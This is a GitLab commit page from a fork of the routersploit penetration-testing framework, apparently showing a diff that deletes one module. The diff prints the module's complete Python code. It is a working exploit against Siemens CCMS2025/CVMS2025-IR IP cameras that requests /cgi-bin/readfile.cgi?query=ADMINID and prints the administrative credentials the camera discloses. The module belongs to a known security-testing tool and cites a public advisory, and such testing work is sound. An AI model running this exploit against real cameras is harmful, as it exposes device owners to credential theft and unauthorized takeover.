Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
28fe0391
Unverified
Commit
28fe0391
authored
May 06, 2018
by
Marcin Bury
Committed by
GitHub
May 06, 2018
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Delete CVMS2025_credentials_disclosure.py
parent
8450286d
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
0 additions
and
48 deletions
+0
-48
CVMS2025_credentials_disclosure.py
...ploits/cameras/siemens/CVMS2025_credentials_disclosure.py
+0
-48
No files found.
routersploit/modules/exploits/cameras/siemens/CVMS2025_credentials_disclosure.py
deleted
100644 → 0
View file @
8450286d
from
routersploit.core.exploit
import
*
from
routersploit.core.http.http_client
import
HTTPClient
class
Exploit
(
HTTPClient
):
__info__
=
{
"name"
:
"SIEMENS IP-Camera CCMS2025 Password Disclosure"
,
"description"
:
"Module exploits SIEMENS IP-Camera CCMS2025 Password Dislosure vulnerability. If target is vulnerable "
"it is possible to read administrative credentials"
,
"authors"
:
(
"Yakir Wizman"
,
# vulnerability discovery
"VegetableCat <yes-reply[at]linux.com>"
,
# routersploit module
),
"references"
:
(
"https://www.exploit-db.com/exploits/40254/"
,
),
"devices"
:
(
"SIEMENS IP-Camera CVMS2025-IR"
,
"SIEMENS IP-Camera CCMS2025"
,
),
}
target
=
OptIP
(
""
,
"Target IPv4 or IPv6 address"
)
port
=
OptPort
(
80
,
"Target HTTP port"
)
def
__init__
(
self
):
self
.
content
=
None
def
run
(
self
):
if
self
.
check
():
print_success
(
"Target seems to be vulnerable"
)
print_info
(
self
.
content
)
print_info
(
"Please login at: {}"
.
format
(
self
.
get_target_url
(
path
=
"/cgi-bin/chklogin.cgi"
)))
else
:
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
@mute
def
check
(
self
):
response
=
self
.
http_request
(
method
=
"GET"
,
path
=
"/cgi-bin/readfile.cgi?query=ADMINID"
)
if
response
and
"Adm_ID"
in
response
.
text
:
self
.
content
=
response
.
text
return
True
# target is vulnerable
return
False
# target is not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment